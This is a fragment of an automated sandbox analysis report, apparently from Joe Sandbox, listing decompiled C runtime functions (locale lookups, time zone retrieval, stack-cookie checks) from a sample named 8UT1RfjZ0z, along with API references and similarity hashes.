Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Strings

ACP, xrefs: 00431848
OCP, xrefs: 00431859

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID: ACP$OCP
API String ID: 3162229498-711371036
Opcode ID: 9b0c82c8324afc18298f6a6ed97783adf912c3ad109cb10dc64907ed25a1a99c
Instruction ID: acdc5346f4392d288aacb60ae0eef34daee1d88e61175f08a85dd750d9a5d6a0
Opcode Fuzzy Hash: 9b0c82c8324afc18298f6a6ed97783adf912c3ad109cb10dc64907ed25a1a99c
Instruction Fuzzy Hash: 3801FE31A052157AFB18BB669C02FEF73A89F0C714F10117FF940E21D0EB68EA05828D

Function 004319A4, Relevance: 4.5, APIs: 3, Instructions: 46

C-Code - Quality: 80%

			E004319A4(intOrPtr __ebx, intOrPtr* __ecx, char* __edx, intOrPtr __edi, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				char _v128;
				void* __esi;
				signed int _t8;
				intOrPtr _t17;
				void* _t19;
				void* _t20;
				intOrPtr _t21;
				intOrPtr* _t29;
				signed int _t30;

				_t27 = __edi;
				_t26 = __edx;
				_t21 = __ebx;
				_t8 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t8 ^ _t30;
				_t29 = __ecx;
				if(GetLocaleInfoA(_a4 & 0x000003ff | 0x00000400, 1,  &_v128, 0x78) != 0) {
					_t26 =  &_v128;
					if(_a4 == E004318C1( &_v128) || _a8 == 0) {
						L5:
						_t17 = 1;
					} else {
						_t29 =  *_t29;
						_push(__edi);
						_t26 = _t29;
						_t19 = E004318F3(_t29);
						_t20 = E0042AA00(_t29);
						_pop(_t27);
						if(_t19 == _t20) {
							goto L1;
						} else {
							goto L5;
						}
					}
				} else {
					L1:
					_t17 = 0;
				}
				return E0042DBBB(_t17, _t21, _v8 ^ _t30, _t26, _t27, _t29);
			}

0x004319a4
0x004319a4
0x004319a4
0x004319aa
0x004319b1
0x004319cb
0x004319d5
0x004319db
0x004319e6
0x00431a06
0x00431a08
0x004319ee
0x004319ee
0x004319f0
0x004319f1
0x004319f3
0x004319fb
0x00431a03
0x00431a04
0x00000000
0x00000000
0x00000000
0x00000000
0x00431a04
0x004319d7
0x004319d7
0x004319d7
0x004319d7
0x00431a15

APIs

GetLocaleInfoA.KERNEL32(?,00000001,?,00000078), ref: 004319CD
_GetPrimaryLen.LIBCMT ref: 004319F3
_strlen.LIBCMT ref: 004319FB

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentPrimaryTerminate_strlen
String ID:
API String ID: 3514458570-0
Opcode ID: b29d73f0beedaef0c513bcc482fcb48d0d5c6bcde6adf81d693df706803e840f
Instruction ID: 71226680e0ab97d665835f749c95b73e06e90d744559ba30d5a8f98b7ad6f3bb
Opcode Fuzzy Hash: b29d73f0beedaef0c513bcc482fcb48d0d5c6bcde6adf81d693df706803e840f
Instruction Fuzzy Hash: 3401F931B001149BDB10EB7ADC4179E73E89F0C745F60443BE805D71A0EA78DA45CA5D

Function 00430BAF, Relevance: 3.3, APIs: 2, Instructions: 334

APIs

__store_num.LIBC ref: 00430DF4
_store_str.LIBCMT ref: 00430F7D

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: __store_num_store_str
String ID:
API String ID: 3485087671-0
Opcode ID: 551b0933b6f18da3341ff90eca024f2ba0aed6f186345ae8156124dc930ec40b
Instruction ID: 25351e6d5b363523228ef46ed5279ac91dcbbf4b0ac4f5389e821a4304432046
Opcode Fuzzy Hash: 551b0933b6f18da3341ff90eca024f2ba0aed6f186345ae8156124dc930ec40b
Instruction Fuzzy Hash: 6AA10531700502DBDB358E19CCA166BB7A1FB9C740F296F2BE455CB211D27AEC42CB99

Function 0042DE56, Relevance: 3.1, APIs: 2, Instructions: 70

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042DF31
UnhandledExceptionFilter.KERNEL32(?), ref: 0042DF3B

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7cee989a009d1f8d0d44c856245d9a426ac244722f722b36ba2d631a7b3b42cf
Instruction ID: 0fe3e3ea51de2ce63ce0d777d9fcef1de259490e13a1cf01cbb65aadb27ee06d
Opcode Fuzzy Hash: 7cee989a009d1f8d0d44c856245d9a426ac244722f722b36ba2d631a7b3b42cf
Instruction Fuzzy Hash: CE318970A113599FDB20DF66E8467CDBBB8BF08304F10942EF8489B2A1DBB48540CF59

Function 004319A4, Relevance: 3.0, APIs: 2, Instructions: 46

APIs

GetLocaleInfoA.KERNEL32(?,00000001,?,00000078), ref: 004319CD
_GetPrimaryLen.LIBCMT ref: 004319F3

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentPrimaryTerminate
String ID:
API String ID: 3185565537-0
Opcode ID: 81c0226f51e1bf792d899fc1fc4fcf5ba14f27b5cf0c0cbb63fd0e14aae18e3b
Instruction ID: 71226680e0ab97d665835f749c95b73e06e90d744559ba30d5a8f98b7ad6f3bb
Opcode Fuzzy Hash: 81c0226f51e1bf792d899fc1fc4fcf5ba14f27b5cf0c0cbb63fd0e14aae18e3b
Instruction Fuzzy Hash: 3401F931B001149BDB10EB7ADC4179E73E89F0C745F60443BE805D71A0EA78DA45CA5D

Function 00431CD2, Relevance: 3.0, APIs: 2, Instructions: 36

APIs

_GetPrimaryLen.LIBCMT ref: 00431D09
EnumSystemLocalesA.KERNEL32(Function_00004A16,00000001), ref: 00431D18

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesPrimarySystem
String ID:
API String ID: 3489071780-0
Opcode ID: 9f18a12aad996aace2801d35603f89c1b9bb925a531ce3a40fbae45279fb5020
Instruction ID: 84406371fff822bc059e4a1eca8c5428597bbef338237be5f15a0a5c0846b697
Opcode Fuzzy Hash: 9f18a12aad996aace2801d35603f89c1b9bb925a531ce3a40fbae45279fb5020
Instruction Fuzzy Hash: 27F06D716507028BEB30AE34E54975A77E0AB09759F605E2EE497D26E1C7BCA444CA08

Function 00431D37, Relevance: 3.0, APIs: 2, Instructions: 21

APIs

_GetPrimaryLen.LIBCMT ref: 00431D52
EnumSystemLocalesA.KERNEL32(Function_00004BE6,00000001), ref: 00431D61

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesPrimarySystem
String ID:
API String ID: 3489071780-0
Opcode ID: fb55e24cb1912949e544a29492426f5430018c10ba9db447830526123fe1ede0
Instruction ID: 50e67d0a625c699bb8531f548dad3d1784d243fe91387a144ae805f036ca2f36
Opcode Fuzzy Hash: fb55e24cb1912949e544a29492426f5430018c10ba9db447830526123fe1ede0
Instruction Fuzzy Hash: 83E026706543024BD7309F30E449B1277E0AB05704F609A1EE497C54F0C7BCA040CA0C

Function 0043581C, Relevance: 1.8, APIs: 1, Instructions: 303time

APIs

GetTimeZoneInformation.KERNEL32(0043F9F0), ref: 00435968

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 6cd059cb5300118a683f445d1263b78a1b5e9caf9a4b11817dd4f6911a3c216d
Instruction ID: f099ce02211fde11babf422745d9cbb95131b3c3b2f763a31781b45142940d61
Opcode Fuzzy Hash: 6cd059cb5300118a683f445d1263b78a1b5e9caf9a4b11817dd4f6911a3c216d
Instruction Fuzzy Hash: 4891A0B1D006559FCB10BFA5DC829AEBBB8AF0C324F64213FE545A7291D7388D418B6D

Function 00431BE6, Relevance: 1.6, APIs: 1, Instructions: 77

C-Code - Quality: 75%

			E00431BE6(intOrPtr __ebx, void* __edx, void* __eflags, char* _a4) {
				signed int _v8;
				char _v128;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t18;
				void* _t20;
				signed int _t27;
				signed int _t29;
				signed int _t36;
				signed int _t37;
				int _t51;
				intOrPtr* _t53;
				signed int _t54;

				_t38 = __ebx;
				_t18 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t18 ^ _t54;
				_t20 = E00429061(__ebx, __edx, __eflags);
				_t49 = _a4;
				_t53 = _t20 + 0x9c;
				_t51 = E004318C1(_a4);
				asm("sbb eax, eax");
				_t27 = GetLocaleInfoA(_t51, ( ~( *(_t53 + 0x10)) & 0xfffff002) + 0x1001,  &_v128, 0x78);
				if(_t27 != 0) {
					_t29 = E004360CE(__ebx, _t49, _t51,  *_t53,  &_v128);
					__eflags = _t29;
					if(_t29 != 0) {
						__eflags =  *(_t53 + 0x10);
						if( *(_t53 + 0x10) == 0) {
							__eflags =  *(_t53 + 0xc);
							if( *(_t53 + 0xc) != 0) {
								_t36 = E004360CE(__ebx, _t49, _t51,  *_t53,  &_v128);
								__eflags = _t36;
								if(_t36 == 0) {
									_push(_t36);
									goto L9;
								}
							}
						}
					} else {
						__eflags =  *(_t53 + 0x10) - _t29;
						if( *(_t53 + 0x10) != _t29) {
							L10:
							_t12 = _t53 + 8;
							 *_t12 =  *(_t53 + 8) | 0x00000004;
							__eflags =  *_t12;
							 *(_t53 + 0x18) = _t51;
							 *(_t53 + 0x1c) = _t51;
						} else {
							_push(1);
							L9:
							_push(_t51);
							_t37 = E004319A4(_t38, _t53, _t49, _t51);
							__eflags = _t37;
							if(_t37 != 0) {
								goto L10;
							}
						}
					}
					_t33 =  !( *(_t53 + 8) >> 2) & 0x00000001;
					__eflags =  !( *(_t53 + 8) >> 2) & 0x00000001;
				} else {
					 *(_t53 + 8) =  *(_t53 + 8) & _t27;
					_t33 = _t27 + 1;
				}
				return E0042DBBB(_t33, _t38, _v8 ^ _t54, _t49, _t51, _t53);
			}

0x00431be6
0x00431bec
0x00431bf3
0x00431bfb
0x00431c02
0x00431c04
0x00431c0f
0x00431c1c
0x00431c2a
0x00431c32
0x00431c40
0x00431c45
0x00431c49
0x00431c54
0x00431c58
0x00431c5a
0x00431c5e
0x00431c66
0x00431c6b
0x00431c6f
0x00431c71
0x00000000
0x00431c71
0x00431c6f
0x00431c5e
0x00431c4b
0x00431c4b
0x00431c4e
0x00431c80
0x00431c80
0x00431c80
0x00431c80
0x00431c84
0x00431c87
0x00431c50
0x00431c50
0x00431c72
0x00431c72
0x00431c75
0x00431c7a
0x00431c7e
0x00000000
0x00000000
0x00431c7e
0x00431c4e
0x00431c92
0x00431c92
0x00431c34
0x00431c34
0x00431c37
0x00431c37
0x00431ca2

APIs

GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431C2A

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 004319A4: GetLocaleInfoA.KERNEL32(?,00000001,?,00000078), ref: 004319CD
Part of subcall function 004319A4: _GetPrimaryLen.LIBCMT ref: 004319F3
Part of subcall function 004319A4: _strlen.LIBCMT ref: 004319FB

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterInfoLocaleProcessUnhandled$CurrentDebuggerPresentPrimaryTerminate_strlen
String ID:
API String ID: 1994866379-0
Opcode ID: dbb174d8086bf3856d460972726c25eaa3f607fc244e6d92a1fa2c5cde6ea25d
Instruction ID: 8063026c0f5f92973ec0a43fc79dd6a3b02f31de6c7820f706593d2355a4366c
Opcode Fuzzy Hash: dbb174d8086bf3856d460972726c25eaa3f607fc244e6d92a1fa2c5cde6ea25d
Instruction Fuzzy Hash: 5C21D732A406059FFB34DF76C84266BB3F8EF18314F10652FE852C21A0E769EC458A49

Function 00431BE6, Relevance: 1.6, APIs: 1, Instructions: 77

APIs

GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431C2A

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Part of subcall function 004319A4: GetLocaleInfoA.KERNEL32(?,00000001,?,00000078), ref: 004319CD
Part of subcall function 004319A4: _GetPrimaryLen.LIBCMT ref: 004319F3

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterInfoLocaleProcessUnhandled$CurrentDebuggerPresentPrimaryTerminate
String ID:
API String ID: 4219403326-0
Opcode ID: 80942d1984f8312792f7e76f42e0ad189ac717e848a00ad5f800c95666ce3a0c
Instruction ID: 8063026c0f5f92973ec0a43fc79dd6a3b02f31de6c7820f706593d2355a4366c
Opcode Fuzzy Hash: 80942d1984f8312792f7e76f42e0ad189ac717e848a00ad5f800c95666ce3a0c
Instruction Fuzzy Hash: 5C21D732A406059FFB34DF76C84266BB3F8EF18314F10652FE852C21A0E769EC458A49

Function 0043190E, Relevance: 1.6, APIs: 1, Instructions: 58

C-Code - Quality: 89%

			E0043190E(intOrPtr __ebx, void* __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v128;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t15;
				void* _t17;
				signed int _t24;
				signed int _t26;
				signed int _t32;
				int _t42;
				intOrPtr _t44;
				signed int _t45;

				_t33 = __ebx;
				_t15 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t15 ^ _t45;
				_t17 = E00429061(__ebx, __edx, __eflags);
				_t40 = _a4;
				_t44 = _t17 + 0x9c;
				_t42 = E004318C1(_a4);
				asm("sbb eax, eax");
				_t24 = GetLocaleInfoA(_t42, ( ~( *(_t44 + 0x14)) & 0xfffff005) + 0x1002,  &_v128, 0x78);
				if(_t24 != 0) {
					_t26 = E004360CE(__ebx, _t40, _t42,  *((intOrPtr*)(_t44 + 4)),  &_v128);
					__eflags = _t26;
					if(_t26 == 0) {
						_t32 = E004318A3(_t42);
						__eflags = _t32;
						if(_t32 != 0) {
							_t9 = _t44 + 8;
							 *_t9 =  *(_t44 + 8) | 0x00000004;
							__eflags =  *_t9;
							 *(_t44 + 0x1c) = _t42;
							 *(_t44 + 0x18) = _t42;
						}
					}
					_t30 =  !( *(_t44 + 8) >> 2) & 0x00000001;
					__eflags =  !( *(_t44 + 8) >> 2) & 0x00000001;
				} else {
					 *(_t44 + 8) =  *(_t44 + 8) & _t24;
					_t30 = _t24 + 1;
				}
				return E0042DBBB(_t30, _t33, _v8 ^ _t45, _t40, _t42, _t44);
			}

0x0043190e
0x00431914
0x0043191b
0x00431923
0x0043192a
0x0043192c
0x00431937
0x00431944
0x00431952
0x0043195a
0x00431969
0x0043196e
0x00431972
0x00431975
0x0043197a
0x0043197d
0x0043197f
0x0043197f
0x0043197f
0x00431983
0x00431986
0x00431986
0x0043197d
0x00431991
0x00431991
0x0043195c
0x0043195c
0x0043195f
0x0043195f
0x004319a1

APIs

GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431952

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID:
API String ID: 3162229498-0
Opcode ID: bdfe3e78402bdd0025cd80361060042c4f90c8896b49557bdbfb3e836d6061f6
Instruction ID: 17b9b63fe5eec248d6b4c8ffdb3f71cbad8bcd2aa339c519807cf308797841a4
Opcode Fuzzy Hash: bdfe3e78402bdd0025cd80361060042c4f90c8896b49557bdbfb3e836d6061f6
Instruction Fuzzy Hash: 8A11E572A006059BE720DF76CC42A6BB7FCDF48714F10902EE812C3260D728EC058B59

Function 0043190E, Relevance: 1.6, APIs: 1, Instructions: 58

APIs

GetLocaleInfoA.KERNEL32(00000000,?,?,00000078), ref: 00431952

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID:
API String ID: 3162229498-0
Opcode ID: 60b5fd4bcad13e7a37cb5c1f48938977d703bb72b360138c1471f8d39d4d451e
Instruction ID: 17b9b63fe5eec248d6b4c8ffdb3f71cbad8bcd2aa339c519807cf308797841a4
Opcode Fuzzy Hash: 60b5fd4bcad13e7a37cb5c1f48938977d703bb72b360138c1471f8d39d4d451e
Instruction Fuzzy Hash: 8A11E572A006059BE720DF76CC42A6BB7FCDF48714F10902EE812C3260D728EC058B59

Function 0043182C, Relevance: 1.5, APIs: 1, Instructions: 49

APIs

GetLocaleInfoA.KERNEL32(00001004,00001004,?,00000008), ref: 00431882

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID:
API String ID: 3162229498-0
Opcode ID: 14c4ace2d78201ad9206611d524d741f64eb538e4589d13cfb565e8846db0bf3
Instruction ID: acdc5346f4392d288aacb60ae0eef34daee1d88e61175f08a85dd750d9a5d6a0
Opcode Fuzzy Hash: 14c4ace2d78201ad9206611d524d741f64eb538e4589d13cfb565e8846db0bf3
Instruction Fuzzy Hash: 3801FE31A052157AFB18BB669C02FEF73A89F0C714F10117FF940E21D0EB68EA05828D

Function 00431CD1, Relevance: 1.5, APIs: 1, Instructions: 35

APIs

_GetPrimaryLen.LIBCMT ref: 00431D09
EnumSystemLocalesA.KERNEL32(Function_00004A16,00000001), ref: 00431D18

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesPrimarySystem
String ID:
API String ID: 3489071780-0
Opcode ID: 09ecac54ebe713afd509e1972db2c0314732fb1821ef77689e317bca638ca86e
Instruction ID: 03651439e627511bd9d12ba3995874d13f9ea88a364775a3094b97beba018289
Opcode Fuzzy Hash: 09ecac54ebe713afd509e1972db2c0314732fb1821ef77689e317bca638ca86e
Instruction Fuzzy Hash: 78F090715507028FEB309F34D50975677E0AB09755F505E2EE497D16E0C7BCA444CA08

Function 004353EC, Relevance: 1.5, APIs: 1, Instructions: 26

C-Code - Quality: 89%

			E004353EC(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, int _a4) {
				signed int _v8;
				char _v10;
				char _v16;
				signed int _t7;
				signed int _t10;
				signed int _t12;
				intOrPtr _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				signed int _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t18 = __edx;
				_t14 = __ebx;
				_t7 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t7 ^ _t21;
				_v10 = 0;
				_t10 = GetLocaleInfoA(_a4, 0x1004,  &_v16, 6);
				if(_t10 != 0) {
					_t12 = E00436385( &_v16);
				} else {
					_t12 = _t10 | 0xffffffff;
				}
				return E0042DBBB(_t12, _t14, _v8 ^ _t21, _t18, _t19, _t20);
			}

0x004353ec
0x004353ec
0x004353ec
0x004353ec
0x004353f2
0x004353f9
0x0043540a
0x0043540e
0x00435416
0x00435421
0x00435418
0x00435418
0x00435418
0x00435432

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?,00000000), ref: 0043540E

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID:
API String ID: 3162229498-0
Opcode ID: a41d7f8783a6fef2fcae0f0a8992b764e6ccf808661cdf66473e8f23b9597375
Instruction ID: 50c7637cdbcc53d464012db70fadeff6b3b7433287feb96fb5671f3955f25c7f
Opcode Fuzzy Hash: a41d7f8783a6fef2fcae0f0a8992b764e6ccf808661cdf66473e8f23b9597375
Instruction Fuzzy Hash: 5BE09230A04218BBDB04EBB5E842BDD7BB9AF4C329F4141AAE911DA1C0DA749A448A19

Function 004353EC, Relevance: 1.5, APIs: 1, Instructions: 26

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?), ref: 0043540E

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerInfoLocalePresentTerminate
String ID:
API String ID: 3162229498-0
Opcode ID: 21c86e9f6eb712f0e27c536523545931f934b62e306e93b24082a7b80f157680
Instruction ID: 50c7637cdbcc53d464012db70fadeff6b3b7433287feb96fb5671f3955f25c7f
Opcode Fuzzy Hash: 21c86e9f6eb712f0e27c536523545931f934b62e306e93b24082a7b80f157680
Instruction Fuzzy Hash: 5BE09230A04218BBDB04EBB5E842BDD7BB9AF4C329F4141AAE911DA1C0DA749A448A19

Function 00431D36, Relevance: 1.5, APIs: 1, Instructions: 20

APIs

_GetPrimaryLen.LIBCMT ref: 00431D52
EnumSystemLocalesA.KERNEL32(Function_00004BE6,00000001), ref: 00431D61

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesPrimarySystem
String ID:
API String ID: 3489071780-0
Opcode ID: 30badd0ec669b12a4759f06bf96fb9f49eecd2d854dbef2c6767edfe1ae3ac43
Instruction ID: e03caa41c1dc47e0d9e7c96b23f1ac5f083eccda331c6024bb5468db1f797bd4
Opcode Fuzzy Hash: 30badd0ec669b12a4759f06bf96fb9f49eecd2d854dbef2c6767edfe1ae3ac43
